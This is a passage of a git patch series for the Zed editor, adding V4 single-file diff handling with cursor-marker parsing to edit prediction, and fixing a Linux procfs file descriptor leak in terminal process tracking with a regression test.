-    open_ai_response::text_from_response, prediction::EditPredictionResult, zeta::compute_edits,
+    DebugEvent, EditPredictionFinishedDebugEvent, EditPredictionId, EditPredictionModelInput,
+    EditPredictionStartedDebugEvent, EditPredictionStore,
+    open_ai_response::text_from_response,
+    prediction::{EditPredictionInputs, EditPredictionResult},
+    zeta::compute_edits,
 };
 use anyhow::{Context as _, Result};
 use cloud_llm_client::EditPredictionRejectReason;
diff --git a/crates/edit_prediction/src/udiff.rs b/crates/edit_prediction/src/udiff.rs
index b2468755a8979f..8dfefa391e23b4 100644
--- a/crates/edit_prediction/src/udiff.rs
+++ b/crates/edit_prediction/src/udiff.rs
@@ -2,14 +2,18 @@ use std::{mem, ops::Range, path::Path, path::PathBuf, sync::Arc};
 
 use anyhow::{Context as _, Result, anyhow};
 use collections::{HashMap, hash_map::Entry};
+use edit_prediction_types::PredictedCursorPosition;
 use gpui::{AsyncApp, Entity};
-use language::{Anchor, Buffer, OffsetRangeExt as _, TextBufferSnapshot, text_diff};
+use language::{
+    Anchor, Buffer, BufferSnapshot, OffsetRangeExt as _, TextBufferSnapshot, text_diff,
+};
 use postage::stream::Stream as _;
 use project::Project;
 use util::{paths::PathStyle, rel_path::RelPath};
 use worktree::Worktree;
 use zeta_prompt::udiff::{
-    DiffEvent, DiffParser, FileStatus, Hunk, disambiguate_by_line_number, find_context_candidates,
+    DiffEvent, DiffParser, FileStatus, Hunk, INLINE_CURSOR_MARKER, disambiguate_by_line_number,
+    find_context_candidates,
 };
 
 pub use zeta_prompt::udiff::{
@@ -30,6 +34,83 @@ impl OpenedBuffers {
     }
 }
 
+pub async fn prediction_edits_for_single_file_diff(
+    diff_str: &str,
+    project: &Entity<Project>,
+    cx: &mut AsyncApp,
+) -> Result<
+    Option<(
+        Entity<Buffer>,
+        BufferSnapshot,
+        Vec<(Range<Anchor>, Arc<str>)>,
+        Option<PredictedCursorPosition>,
+    )>,
+> {
+    let mut diff = DiffParser::new(diff_str);
+    let mut target_file = None;
+    let mut edits = Vec::new();
+    let mut cursor_position = None;
+
+    while let Some(event) = diff.next()? {
+        match event {
+            DiffEvent::Hunk { path, hunk, status } => {
+                anyhow::ensure!(
+                    status == FileStatus::Modified,
+                    "V4 edit predictions only support modifying existing files"
+                );
+
+                let path = path.to_string();
+                if let Some((target_path, _, _)) = &target_file {
+                    anyhow::ensure!(
+                        target_path == &path,
+                        "V4 edit predictions only support one file"
+                    );
+                } else {
+                    let project_path = project
+                        .update(cx, |project, cx| {
+                            project.find_project_path(Path::new(&path), cx)
+                        })
+                        .with_context(|| format!("no such path: {path}"))?;
+                    let buffer = project
+                        .update(cx, |project, cx| project.open_buffer(project_path, cx))
+                        .await?;
+                    let snapshot = buffer.read_with(cx, |buffer, _| buffer.snapshot());
+
+                    target_file = Some((path, buffer, snapshot));
+                }
+
+                let (_, _, snapshot) = target_file.as_ref().context("missing target file")?;
+                for (range, text) in resolve_hunk_edits_in_buffer(
+                    hunk,
+                    snapshot,
+                    &[Anchor::min_max_range_for_buffer(snapshot.remote_id())],
+                    status,
+                )? {
+                    if let Some(marker_offset) = text.find(INLINE_CURSOR_MARKER) {
+                        cursor_position.get_or_insert_with(|| {
+                            PredictedCursorPosition::new(range.start, marker_offset)
+                        });
+                        let text = text.replace(INLINE_CURSOR_MARKER, "");
+                        if range.start != range.end || !text.is_empty() {
+                            edits.push((range, text.into()));
+                        }
+                    } else {
+                        edits.push((range, text));
+                    }
+                }
+            }
+            DiffEvent::FileEnd { renamed_to } => {
+                anyhow::ensure!(
+                    renamed_to.is_none(),
+                    "V4 edit predictions do not support renames"
+                );
+            }
+        }
+    }
+
+    Ok(target_file.map(|(_, buffer, snapshot)| (buffer, snapshot, edits, cursor_position)))
+}
+
 #[must_use]
 pub async fn apply_diff(
     diff_str: &str,
@@ -243,7 +324,7 @@ fn resolve_hunk_edits_in_buffer(
     buffer: &TextBufferSnapshot,
     ranges: &[Range<Anchor>],
     status: FileStatus,
-) -> Result<impl Iterator<Item = (Range<Anchor>, Arc<str>)>, anyhow::Error> {
+) -> Result<Vec<(Range<Anchor>, Arc<str>)>, anyhow::Error> {
     let context_offset = if status == FileStatus::Created || hunk.context.is_empty() {
         0
     } else {
@@ -272,22 +353,26 @@ fn resolve_hunk_edits_in_buffer(
         return Err(anyhow!("Edit range {:?} exceeds buffer length", edit.range));
     }
 
-    let iter = hunk.edits.into_iter().flat_map(move |edit| {
-        let old_text = buffer
-            .text_for_range(context_offset + edit.range.start..context_offset + edit.range.end)
-            .collect::<String>();
-        let edits_within_hunk = language::text_diff(&old_text, &edit.text);
-        edits_within_hunk
-            .into_iter()
-            .map(move |(inner_range, inner_text)| {
-                (
-                    buffer.anchor_after(context_offset + edit.range.start + inner_range.start)
-                        ..buffer.anchor_before(context_offset + edit.range.start + inner_range.end),
-                    inner_text,
-                )
-            })
-    });
-    Ok(iter)
+    Ok(hunk
+        .edits
+        .into_iter()
+        .flat_map(move |edit| {
+            let old_text = buffer
+                .text_for_range(context_offset + edit.range.start..context_offset + edit.range.end)
+                .collect::<String>();
+            let edits_within_hunk = language::text_diff(&old_text, &edit.text);
+            edits_within_hunk
+                .into_iter()
+                .map(move |(inner_range, inner_text)| {
+                    (
+                        buffer.anchor_after(context_offset + edit.range.start + inner_range.start)
+                            ..buffer
+                                .anchor_before(context_offset + edit.range.start + inner_range.end),
+                        inner_text,
+                    )
+                })
+        })
+        .collect())
 }
 
 #[cfg(test)]
@@ -295,10 +380,12 @@ mod tests {
     use super::*;
     use gpui::TestAppContext;
     use indoc::indoc;
+    use language::ToOffset as _;
     use pretty_assertions::assert_eq;
     use project::{FakeFs, Project};
     use serde_json::json;
     use settings::SettingsStore;
+    use std::path::Path;
     use util::path;
 
     #[test]
@@ -363,6 +450,131 @@ mod tests {
         assert_eq!(text, "REPLACED");
     }
 
+    #[gpui::test]
+    async fn test_prediction_edits_for_single_file_diff_can_target_project_file(
+        cx: &mut TestAppContext,
+    ) {
+        let fs = init_test(cx);
+        fs.insert_tree(
+            path!("/root"),
+            json!({
+                "file1": "Hello!\nHow\nBye\n",
+                "file2": "Hola!\nComo\nAdios\n",
+            }),
+        )
+        .await;
+        let project = Project::test(fs, [path!("/root").as_ref()], cx).await;
+
+        let diff = indoc! {r#"
+            --- a/file2
+            +++ b/file2
+            @@ ... @@
+             Hola!
+            -Como
+            +Como estas?
+             Adios
+        "#};
+
+        let (buffer, snapshot, edits, cursor_position) =
+            prediction_edits_for_single_file_diff(diff, &project, &mut cx.to_async())
+                .await
+                .unwrap()
+                .unwrap();
+
+        assert!(cursor_position.is_none());
+        buffer.update(cx, |buffer, cx| buffer.edit(edits, None, cx));
+        assert_eq!(
+            snapshot.file().unwrap().path().as_std_path(),
+            Path::new("file2")
+        );
+        buffer.read_with(cx, |buffer, _cx| {
+            assert_eq!(buffer.text(), "Hola!\nComo estas?\nAdios\n");
+        });
+    }
+
+    #[gpui::test]
+    async fn test_prediction_edits_for_single_file_diff_strips_inline_cursor_marker(
+        cx: &mut TestAppContext,
+    ) {
+        let fs = init_test(cx);
+        fs.insert_tree(
+            path!("/root"),
+            json!({
+                "file": "Hello!\nHow\nBye\n",
+            }),
+        )
+        .await;
+        let project = Project::test(fs, [path!("/root").as_ref()], cx).await;
+
+        let diff = indoc! {r#"
+            --- a/file
+            +++ b/file
+            @@ ... @@
+             Hello!
+            -How
+            +How are <|user_cursor|>you?
+             Bye
+        "#};
+
+        let (buffer, snapshot, edits, cursor_position) =
+            prediction_edits_for_single_file_diff(diff, &project, &mut cx.to_async())
+                .await
+                .unwrap()
+                .unwrap();
+
+        assert!(
+            edits
+                .iter()
+                .all(|(_, text)| !text.contains(INLINE_CURSOR_MARKER))
+        );
+        let cursor_position = cursor_position.unwrap();
+        assert_eq!(
+            cursor_position.anchor.to_offset(&snapshot),
+            "Hello!\nHow".len()
+        );
+        assert_eq!(cursor_position.offset, " are ".len());
+
+        buffer.update(cx, |buffer, cx| buffer.edit(edits, None, cx));
+        buffer.read_with(cx, |buffer, _cx| {
+            assert_eq!(buffer.text(), "Hello!\nHow are you?\nBye\n");
+        });
+    }
+
+    #[gpui::test]
+    async fn test_prediction_edits_for_single_file_diff_does_not_treat_completed_literal_marker_as_cursor(
+        cx: &mut TestAppContext,
+    ) {
+        let fs = init_test(cx);
+        fs.insert_tree(
+            path!("/root"),
+            json!({
+                "file": "text <|user_cursor\n",
+            }),
+        )
+        .await;
+        let project = Project::test(fs, [path!("/root").as_ref()], cx).await;
+
+        let diff = indoc! {r#"
+            --- a/file
+            +++ b/file
+            @@ ... @@
+            -text <|user_cursor
+            +text <|user_cursor|>
+        "#};
+
+        let (buffer, _, edits, cursor_position) =
+            prediction_edits_for_single_file_diff(diff, &project, &mut cx.to_async())
+                .await
+                .unwrap()
+                .unwrap();
+
+        assert!(cursor_position.is_none());
+        buffer.update(cx, |buffer, cx| buffer.edit(edits, None, cx));
+        buffer.read_with(cx, |buffer, _cx| {
+            assert_eq!(buffer.text(), "text <|user_cursor|>\n");
+        });
+    }
+
     #[gpui::test]
     async fn test_apply_diff_successful(cx: &mut TestAppContext) {
         let fs = init_test(cx);
diff --git a/crates/edit_prediction/src/zeta.rs b/crates/edit_prediction/src/zeta.rs
index cff9bb4d858742..009d91c5b57312 100644
--- a/crates/edit_prediction/src/zeta.rs
+++ b/crates/edit_prediction/src/zeta.rs
@@ -6,8 +6,9 @@ use crate::{
     cursor_excerpt::{self, compute_cursor_excerpt, compute_syntax_ranges},
     data_collection::CapturedPredictionContext,
     prediction::EditPredictionResult,
+    udiff::prediction_edits_for_single_file_diff,
 };
-use anyhow::Result;
+use anyhow::{Context as _, Result};
 use cloud_llm_client::{AcceptEditPredictionBody, predict_edits_v3::RawCompletionRequest};
 use edit_prediction_types::PredictedCursorPosition;
 use gpui::{App, AppContext as _, Entity, Task, TaskExt, WeakEntity, prelude::*};
@@ -15,6 +16,7 @@ use language::{
     Buffer, BufferSnapshot, DiagnosticSeverity, EditPredictionPromptFormat, OffsetRangeExt as _,
     ToOffset as _, ZetaVersion, language_settings::all_language_settings, text_diff,
 };
+use project::Project;
 use release_channel::AppVersion;
 use text::{Anchor, Bias, Point};
 use ui::SharedString;
@@ -24,8 +26,9 @@ use workspace::workspace_error::{ErrorAction, ErrorSeverity, WorkspaceError};
 
 use std::{ops::Range, path::Path, sync::Arc};
 use zeta_prompt::{
-    ParsedOutput, Zeta2PromptInput, ZetaFormat, excerpt_ranges_for_format, format_zeta_prompt,
-    get_prefill, parse_zeta2_model_output, stop_tokens_for_format,
+    FilePosition, ParsedOutput, Zeta2PromptInput, Zeta3PromptInput, ZetaFormat,
+    excerpt_ranges_for_format, format_zeta_prompt, get_prefill, parse_zeta2_model_output,
+    stop_tokens_for_format,
     zeta1::{self, EDITABLE_REGION_END_MARKER},
 };
 
@@ -40,6 +43,7 @@ pub(crate) fn request_prediction_with_zeta(
         snapshot,
         position,
         related_files,
+        editable_context,
         events,
         debug_tx,
         mode,
@@ -48,6 +52,7 @@ pub(crate) fn request_prediction_with_zeta(
         diagnostic_search_range,
         can_collect_data,
         is_open_source,
+        allow_jump,
         ..
     }: EditPredictionModelInput,
     context_task: Option<Task<Result<CapturedPredictionContext>>>,
@@ -83,15 +88,25 @@ pub(crate) fn request_prediction_with_zeta(
         .map(|organization| organization.id.clone());
     let app_version = AppVersion::global(cx);
 
-    struct Prediction {
-        prompt_input: Zeta2PromptInput,
-        buffer: Entity<Buffer>,
-        snapshot: BufferSnapshot,
-        edits: Vec<(Range<Anchor>, Arc<str>)>,
-        cursor_position: Option<PredictedCursorPosition>,
-        editable_range_in_buffer: Range<usize>,
+    enum PendingPrediction {
+        Resolved {
+            inputs: EditPredictionInputs,
+            buffer: Entity<Buffer>,
+            snapshot: BufferSnapshot,
+            edits: Vec<(Range<Anchor>, Arc<str>)>,
+            cursor_position: Option<PredictedCursorPosition>,
+            editable_range_in_buffer: Option<Range<usize>>,
+        },
+        Patch {
+            inputs: EditPredictionInputs,
+            project: Entity<Project>,
+            buffer: Entity<Buffer>,
+            snapshot: BufferSnapshot,
+            patch: String,
+        },
     }
 
+    let project_for_request = project.clone();
     let request_task = cx.background_spawn({
         async move {
             let local_zeta_version = custom_server_settings
@@ -119,27 +134,78 @@ pub(crate) fn request_prediction_with_zeta(
                 })
                 .unwrap_or_default();
 
+            enum RequestInput {
+                V3 {
+                    full_context_offset_range: Range<usize>,
+                    prompt_input: Zeta2PromptInput,
+                    formatted_prompt: Option<String>,
+                },
+                V4(Zeta3PromptInput),
+            }
+
             let cursor_offset = position.to_offset(&snapshot);
-            let (full_context_offset_range, prompt_input) = zeta2_prompt_input(
-                &snapshot,
-                related_files,
-                events,
-                diagnostic_search_range,
-                excerpt_path,
-                cursor_offset,
-                is_open_source,
-                can_collect_data,
-                repo_url,
-            );
+            let request_input =
+                if allow_jump && custom_server_settings.is_none() && raw_config.is_none() {
+                    let cursor_point = snapshot.offset_to_point(cursor_offset);
+                    let editable_context = editable_context
+                        .context("missing editable context task")?
+                        .await?;
+                    let active_buffer_diagnostics = active_buffer_diagnostics(
+                        &snapshot,
+                        diagnostic_search_range,
+                        cursor_point.row,
+                        ACTIVE_BUFFER_DIAGNOSTIC_ADDITIONAL_CONTEXT_TOKEN_COUNT,
+                    );
+                    let syntax_ranges =
+                        compute_syntax_ranges(&snapshot, cursor_offset, &(0..snapshot.len()));
+
+                    RequestInput::V4(Zeta3PromptInput {
+                        cursor_path: excerpt_path,
+                        cursor_position: FilePosition {
+                            row: cursor_point.row,
+                            column: cursor_point.column,
+                        },
+                        events,
+                        editable_context,
+                        syntax_ranges,
+                        active_buffer_diagnostics,
+                        in_open_source_repo: is_open_source,
+                        can_collect_data,
+                        repo_url,
+                    })
+                } else {
+                    let (full_context_offset_range, prompt_input) = zeta2_prompt_input(
+                        &snapshot,
+                        related_files,
+                        events,
+                        diagnostic_search_range,
+                        excerpt_path,
+                        cursor_offset,
+                        is_open_source,
+                        can_collect_data,
+                        repo_url,
+                    );
+                    let formatted_prompt = format_zeta_prompt(&prompt_input, zeta_format);
 
-            let formatted_prompt = format_zeta_prompt(&prompt_input, zeta_format);
+                    RequestInput::V3 {
+                        full_context_offset_range,
+                        prompt_input,
+                        formatted_prompt,
+                    }
+                };
 
             if let Some(debug_tx) = &debug_tx {
+                let prompt = match &request_input {
+                    RequestInput::V3 {
+                        formatted_prompt, ..
+                    } => formatted_prompt.clone(),
+                    RequestInput::V4(_) => None,
+                };
                 debug_tx
                     .unbounded_send(DebugEvent::EditPredictionStarted(
                         EditPredictionStartedDebugEvent {
                             buffer: buffer.downgrade(),
-                            prompt: formatted_prompt.clone(),
+                            prompt,
                             position,
                         },
                     ))
@@ -148,6 +214,45 @@ pub(crate) fn request_prediction_with_zeta(
 
             log::trace!("Sending edit prediction request");
 
+            let (full_context_offset_range, prompt_input, formatted_prompt) = match request_input {
+                RequestInput::V3 {
+                    full_context_offset_range,
+                    prompt_input,
+                    formatted_prompt,
+                } => (full_context_offset_range, prompt_input, formatted_prompt),
+                RequestInput::V4(v4_prompt_input) => {
+                    let inputs = EditPredictionInputs::V3(v4_prompt_input.clone());
+                    let (response, usage) = EditPredictionStore::send_v4_request(
+                        v4_prompt_input,
+                        preferred_experiment.clone(),
+                        client,
+                        llm_token,
+                        organization_id,
+                        app_version,
+                        trigger,
+                        mode,
+                    )
+                    .await?;
+
+                    let request_id = EditPredictionId(response.request_id.into());
+                    let model_version = response.model_version;
+                    return anyhow::Ok((
+                        Some((
+                            request_id,
+                            Some(PendingPrediction::Patch {
+                                inputs,
+                                project: project_for_request,
+                                buffer,
+                                snapshot: snapshot.clone(),
+                                patch: response.patch,
+                            }),
+                            model_version,
+                        )),
+                        usage,
+                    ));
+                }
+            };
+
             let Some((request_id, output, model_version, usage)) =
                 (if let Some(custom_settings) = &custom_server_settings {
                     let max_tokens = custom_settings.max_output_tokens * 4;
@@ -272,7 +377,6 @@ pub(crate) fn request_prediction_with_zeta(
 
                     Some((request_id, output, None, usage))
                 } else {
-                    // Use V3 endpoint - server handles model/version selection and suffix stripping
                     let (response, usage) = EditPredictionStore::send_v3_request(
                         prompt_input.clone(),
                         preferred_experiment.clone(),
@@ -357,14 +461,14 @@ pub(crate) fn request_prediction_with_zeta(
                 })
                 .unwrap_or_default();
 
-            let prediction = Prediction {
-                prompt_input,
+            let prediction = Some(PendingPrediction::Resolved {
+                inputs: EditPredictionInputs::V2(prompt_input),
                 buffer,
                 snapshot: snapshot.clone(),
                 edits,
                 cursor_position,
-                editable_range_in_buffer,
-            };
+                editable_range_in_buffer: Some(editable_range_in_buffer),
+            });
 
             anyhow::Ok((Some((request_id, prediction, model_version)), usage))
         }
@@ -378,25 +482,95 @@ pub(crate) fn request_prediction_with_zeta(
         };
         let request_duration = cx.background_executor().now() - request_start;
 
-        let Prediction {
-            prompt_input: inputs,
-            buffer: edited_buffer,
-            snapshot: edited_buffer_snapshot,
+        let Some(prediction) = prediction else {
+            return Ok(None);
+        };
+
+        let (
+            inputs,
+            edited_buffer,
+            edited_buffer_snapshot,
             edits,
             cursor_position,
             editable_range_in_buffer,
-        } = prediction;
+        ) = match prediction {
+            PendingPrediction::Resolved {
+                inputs,
+                buffer,
+                snapshot,
+                edits,
+                cursor_position,
+                editable_range_in_buffer,
+            } => (
+                inputs,
+                buffer,
+                snapshot,
+                edits,
+                cursor_position,
+                editable_range_in_buffer,
+            ),
+            PendingPrediction::Patch {
+                inputs,
+                project,
+                buffer: fallback_buffer,
+                snapshot: fallback_snapshot,
+                patch,
+            } => {
+                let Some((buffer, snapshot, edits, cursor_position)) =
+                    prediction_edits_for_single_file_diff(&patch, &project, cx).await?
+                else {
+                    return Ok(Some(
+                        EditPredictionResult::new(
+                            id,
+                            &fallback_buffer,
+                            &fallback_snapshot,
+                            Arc::new([]),
+                            None,
+                            None,
+                            inputs,
+                            model_version,
+                            trigger,
+                            request_duration,
+                            cx,
+                        )
+                        .await,
+                    ));
+                };
+                let editable_range_in_buffer =
+                    edits
+                        .iter()
+                        .fold(None, |range: Option<Range<usize>>, (edit_range, _)| {
+                            let edit_range = edit_range.start.to_offset(&snapshot)
+                                ..edit_range.end.to_offset(&snapshot);
+                            Some(match range {
+                                Some(range) => {
+                                    range.start.min(edit_range.start)..range.end.max(edit_range.end)
+                                }
+                                None => edit_range,
+                            })
+                        });
+
+                (
+                    inputs,
+                    buffer,
+                    snapshot,
+                    edits,
+                    cursor_position,
+                    editable_range_in_buffer,
+                )
+            }
+        };
 
-        let editable_anchor_range =
-            edited_buffer_snapshot.anchor_range_inside(editable_range_in_buffer.clone());
         let result = EditPredictionResult::new(
             id,
             &edited_buffer,
             &edited_buffer_snapshot,
             edits.into(),
             cursor_position,
-            Some(editable_anchor_range),
-            EditPredictionInputs::V2(inputs),
+            editable_range_in_buffer
+                .clone()
+                .map(|range| edited_buffer_snapshot.anchor_range_inside(range)),
+            inputs,
             model_version,
             trigger,
             request_duration,
@@ -404,34 +578,35 @@ pub(crate) fn request_prediction_with_zeta(
         )
         .await;
 
-        let prediction = &result.prediction;
-        let weak_this = this.clone();
-        let request_id = prediction.id.clone();
-        let edited_buffer = edited_buffer.clone();
-        let edited_buffer_snapshot = edited_buffer_snapshot.clone();
-        let editable_range_in_buffer = editable_range_in_buffer.clone();
-        let edit_preview = prediction.edit_preview.clone();
-        let model_version = prediction.model_version.clone();
-        cx.spawn(async move |cx| {
-            weak_this
-                .update(cx, |this, cx| {
-                    this.enqueue_settled_prediction(
-                        request_id.clone(),
-                        &project,
-                        &edited_buffer,
-                        &edited_buffer_snapshot,
-                        editable_range_in_buffer,
-                        &edit_preview,
-                        context_task,
-                        prompt_history_boundary,
-                        model_version,
-                        request_duration,
-                        cx,
-                    );
-                })
-                .ok();
-        })
-        .detach();
+        if let Some(editable_range_in_buffer) = editable_range_in_buffer.clone() {
+            let prediction = &result.prediction;
+            let weak_this = this.clone();
+            let request_id = prediction.id.clone();
+            let edited_buffer = edited_buffer.clone();
+            let edited_buffer_snapshot = edited_buffer_snapshot.clone();
+            let edit_preview = prediction.edit_preview.clone();
+            let model_version = prediction.model_version.clone();
+            cx.spawn(async move |cx| {
+                weak_this
+                    .update(cx, |this, cx| {
+                        this.enqueue_settled_prediction(
+                            request_id.clone(),
+                            &project,
+                            &edited_buffer,
+                            &edited_buffer_snapshot,
+                            editable_range_in_buffer,
+                            &edit_preview,
+                            context_task,
+                            prompt_history_boundary,
+                            model_version,
+                            request_duration,
+                            cx,
+                        );
+                    })
+                    .ok();
+            })
+            .detach();
+        }
 
         Ok(Some(result))
     })
@@ -594,7 +769,7 @@ pub(crate) fn active_buffer_diagnostics(
 
 pub fn zeta2_prompt_input(
     snapshot: &language::BufferSnapshot,
-    related_files: Vec<zeta_prompt::RelatedFile>,
+    mut related_files: Vec<zeta_prompt::RelatedFile>,
     events: Vec<Arc<zeta_prompt::Event>>,
     diagnostic_search_range: Range<Point>,
     excerpt_path: Arc<Path>,
@@ -623,6 +798,11 @@ pub fn zeta2_prompt_input(
         snapshot.offset_to_point(cursor_offset).row,
         ACTIVE_BUFFER_DIAGNOSTIC_ADDITIONAL_CONTEXT_TOKEN_COUNT,
     );
+    for file in &mut related_files {
+        for excerpt in &mut file.excerpts {
+            excerpt.context_source = zeta_prompt::ContextSource::Lsp;
+        }
+    }
 
     let prompt_input = zeta_prompt::Zeta2PromptInput {
         cursor_path: excerpt_path,

From 7854e4535ddb8fee8f0d72b46bbf98c28a1f4463 Mon Sep 17 00:00:00 2001
From: Florentin DUBOIS <duboiflorentin@gmail.com>
Date: Fri, 26 Jun 2026 18:38:42 +0200
Subject: [PATCH 120/772] terminal: Fix procfs file descriptor leak in PTY
 process tracking (#58683)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Closes #58651

## Problem

On Linux, long-lived Zed sessions accumulate thousands of open procfs
handles (`/proc/<pid>/stat`, `/proc/<pid>/task/<tid>/stat`). A degraded
6-hour session was measured holding **9,675 FDs, 97% of them
never-closed procfs stat handles**, alongside system-wide clipboard
breakage (Wayland clipboard `send()` stretching from 13 ms to ~17 s,
which makes every other client abort the paste).

The leak comes from `PtyProcessInfo` in
`crates/terminal/src/pty_info.rs`, through three interacting sysinfo
0.37 behaviors:

1. **Hidden full-system snapshot per terminal.**
`System::new_with_specifics(RefreshKind::nothing().with_processes(…))`
immediately refreshes **all** processes. Each refreshed process gets a
`Process` entry that caches an **open `/proc/<pid>/stat` file** for the
lifetime of the entry (a documented sysinfo optimization).
2. **Task enumeration is opt-out.** `ProcessRefreshKind::nothing()`
keeps `tasks: true`, so that constructor snapshot also creates one entry
— and one open `/proc/<pid>/task/<tid>/stat` — **per thread on the
machine**, per terminal.
3. **No eviction outside the refreshed set.** The recurring refresh uses
`ProcessesToUpdate::Some(&[foreground_pid])`; sysinfo's dead-process
sweep only visits pids in that list. Every former foreground process
(one per command the user runs) therefore stays in the map forever,
pinning its FD.

sysinfo silently raises `RLIMIT_NOFILE` and budgets half of it (~262k)
for this cache, so the process never hits `EMFILE` — it just degrades.

Reproduction (standalone, sysinfo 0.37.2, Fedora 44): constructing one
`System` the way `PtyProcessInfo::new` does instantly retains **3,566
FDs**; each simulated shell command leaks one more, unbounded.

## Fix

All changes confined to `pty_info.rs`:

- `.without_tasks()` on the `ProcessRefreshKind` — eliminates the
per-thread handle class entirely.
- Replace the constructor's implicit all-process scan with
`System::new()` plus a refresh of just the spawned child, so
`kill_child_process()` still works before the first foreground refresh.
- Rebuild the `System` whenever the foreground pid changes, and refresh
`[foreground, child]` so the dead-process sweep can actually evict stale
entries. The map is now bounded at 2 entries per terminal.

With the fix, the same repro stays flat at ~6 FDs across arbitrary
command churn, and the foreground process info (name/cwd/argv for tab
titles) keeps working.

The regression test fails on `main` (3,747 retained entries on a desktop
system) and passes with the fix (≤ 2).

Note: the ~17 s clipboard `send()` on the degraded session is a coupled
symptom; the FD/process-map bloat is the verified defect fixed here. The
Wayland data-source lifecycle is tracked separately in #58446.

Release Notes:

- Fixed a file descriptor leak in terminal process tracking that
degraded long-running sessions on Linux, including system-wide clipboard
breakage ([#58651](https://github.com/zed-industries/zed/issues/58651)).

Signed-off-by: Florentin Dubois <florentin.dubois@clever.cloud>
---
 crates/terminal/src/pty_info.rs | 98 ++++++++++++++++++++++++++++-----
 1 file changed, 85 insertions(+), 13 deletions(-)

diff --git a/crates/terminal/src/pty_info.rs b/crates/terminal/src/pty_info.rs
index 576a833f011c46..8e981432484531 100644
--- a/crates/terminal/src/pty_info.rs
+++ b/crates/terminal/src/pty_info.rs
@@ -5,7 +5,7 @@ use std::{path::PathBuf, sync::Arc};
 #[cfg(target_os = "windows")]
 use windows::Win32::{Foundation::HANDLE, System::Threading::GetProcessId};
 
-use sysinfo::{Pid, Process, ProcessRefreshKind, RefreshKind, System, UpdateKind};
+use sysinfo::{Pid, Process, ProcessRefreshKind, ProcessesToUpdate, System, UpdateKind};
 
 use crate::{Event, Terminal};
 
@@ -77,23 +77,38 @@ pub(crate) struct PtyProcessInfo {
     system: RwLock<System>,
     refresh_kind: ProcessRefreshKind,
     pid_getter: ProcessIdGetter,
+    last_foreground_pid: Mutex<Option<Pid>>,
     pub(crate) current: RwLock<Option<ProcessInfo>>,
     task: Mutex<Option<Task<()>>>,
 }
 
 impl PtyProcessInfo {
     pub(crate) fn new(pid_getter: ProcessIdGetter) -> PtyProcessInfo {
+        // Task enumeration is on by default and would retain a `Process` entry
+        // per thread, each pinning an open `/proc/<pid>/task/<tid>/stat` handle
+        // on Linux (#58651).
         let process_refresh_kind = ProcessRefreshKind::nothing()
             .with_cmd(UpdateKind::Always)
             .with_cwd(UpdateKind::Always)
-            .with_exe(UpdateKind::Always);
-        let refresh_kind = RefreshKind::nothing().with_processes(process_refresh_kind);
-        let system = System::new_with_specifics(refresh_kind);
+            .with_exe(UpdateKind::Always)
+            .without_tasks();
+        // `System::new_with_specifics` with a process refresh kind would
+        // snapshot every process on the machine into this terminal's `System`,
+        // retaining one open procfs handle per process for the lifetime of the
+        // terminal (#58651). Refresh only the spawned child so that
+        // `kill_child_process` works before the first foreground refresh.
+        let mut system = System::new();
+        system.refresh_processes_specifics(
+            ProcessesToUpdate::Some(&[pid_getter.fallback_pid()]),
+            true,
+            process_refresh_kind,
+        );
 
         PtyProcessInfo {
             system: RwLock::new(system),
             refresh_kind: process_refresh_kind,
             pid_getter,
+            last_foreground_pid: Mutex::new(None),
             current: RwLock::new(None),
             task: Mutex::new(None),
         }
@@ -105,16 +120,25 @@ impl PtyProcessInfo {
 
     fn refresh(&self) -> Option<MappedRwLockReadGuard<'_, Process>> {
         let pid = self.pid_getter.pid()?;
-        if self.system.write().refresh_processes_specifics(
-            sysinfo::ProcessesToUpdate::Some(&[pid]),
-            true,
-            self.refresh_kind,
-        ) == 1
-        {
-            RwLockReadGuard::try_map(self.system.read(), |system| system.process(pid)).ok()
-        } else {
-            None
+        let fallback_pid = self.pid_getter.fallback_pid();
+        let mut system = self.system.write();
+        // sysinfo never evicts processes that are absent from the refreshed pid
+        // set, so entries for former foreground processes (each pinning an open
+        // `/proc/<pid>/stat` handle on Linux) would otherwise accumulate for as
+        // long as this terminal lives (#58651). Rebuild the `System` whenever
+        // the foreground process changes to keep the map bounded.
+        if self.last_foreground_pid.lock().replace(pid) != Some(pid) {
+            *system = System::new();
         }
+        let pids = [pid, fallback_pid];
+        let pids = if pid == fallback_pid {
+            &pids[..1]
+        } else {
+            &pids[..]
+        };
+        system.refresh_processes_specifics(ProcessesToUpdate::Some(pids), true, self.refresh_kind);
+        drop(system);
+        RwLockReadGuard::try_map(self.system.read(), |system| system.process(pid)).ok()
     }
 
     fn get_child(&self) -> Option<MappedRwLockReadGuard<'_, Process>> {
@@ -206,3 +230,51 @@ impl PtyProcessInfo {
         self.pid_getter.pid()
     }
 }
+
+#[cfg(all(test, unix))]
+mod tests {
+    use super::*;
+
+    /// Regression test for <https://github.com/zed-industries/zed/issues/58651>:
+    /// on Linux, sysinfo keeps an open `/proc/<pid>/stat` handle for every
+    /// `Process` entry retained in a `System`, and never evicts entries that are
+    /// absent from the refreshed pid set. The per-terminal `System` must
+    /// therefore not snapshot every process on the machine, nor accumulate an
+    /// entry per foreground process that has ever run in this terminal.
+    #[test]
+    #[allow(
+        clippy::disallowed_methods,
+        reason = "the test needs real short-lived child processes and may block"
+    )]
+    fn process_map_stays_bounded() {
+        let mut info = PtyProcessInfo::new(ProcessIdGetter::new(-1, std::process::id()));
+        assert!(
+            info.get_child().is_some(),
+            "the spawned child must be inspectable for kill_child_process \
+             before the first foreground refresh"
+        );
+        assert!(info.load_for_test().is_some());
+        let initial_len = info.system.read().processes().len();
+        assert!(
+            initial_len <= 2,
+            "creating a terminal retained {initial_len} process entries"
+        );
+
+        for _ in 0..3 {
+            let mut child = std::process::Command::new("sleep")
+                .arg("30")
+                .spawn()
+                .expect("failed to spawn child process");
+            info.pid_getter = ProcessIdGetter::new(-1, child.id());
+            assert!(info.load_for_test().is_some());
+            child.kill().expect("failed to kill child process");
+            child.wait().expect("failed to wait for child process");
+        }
+
+        let churned_len = info.system.read().processes().len();
+        assert!(
+            churned_len <= 2,
+            "foreground process churn retained {churned_len} process entries"
+        );
+    }
+}

From 02aabb9cef26b5ccd2c7350b2d0d283d56f43af0 Mon Sep 17 00:00:00 2001
From: Ahmed Ammar <ahmed29329@gmail.com>
Date: Fri, 26 Jun 2026 19:44:41 +0200
Subject: [PATCH 121/772] project_panel: Add expand/collapse all to context
 menu (#59567)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

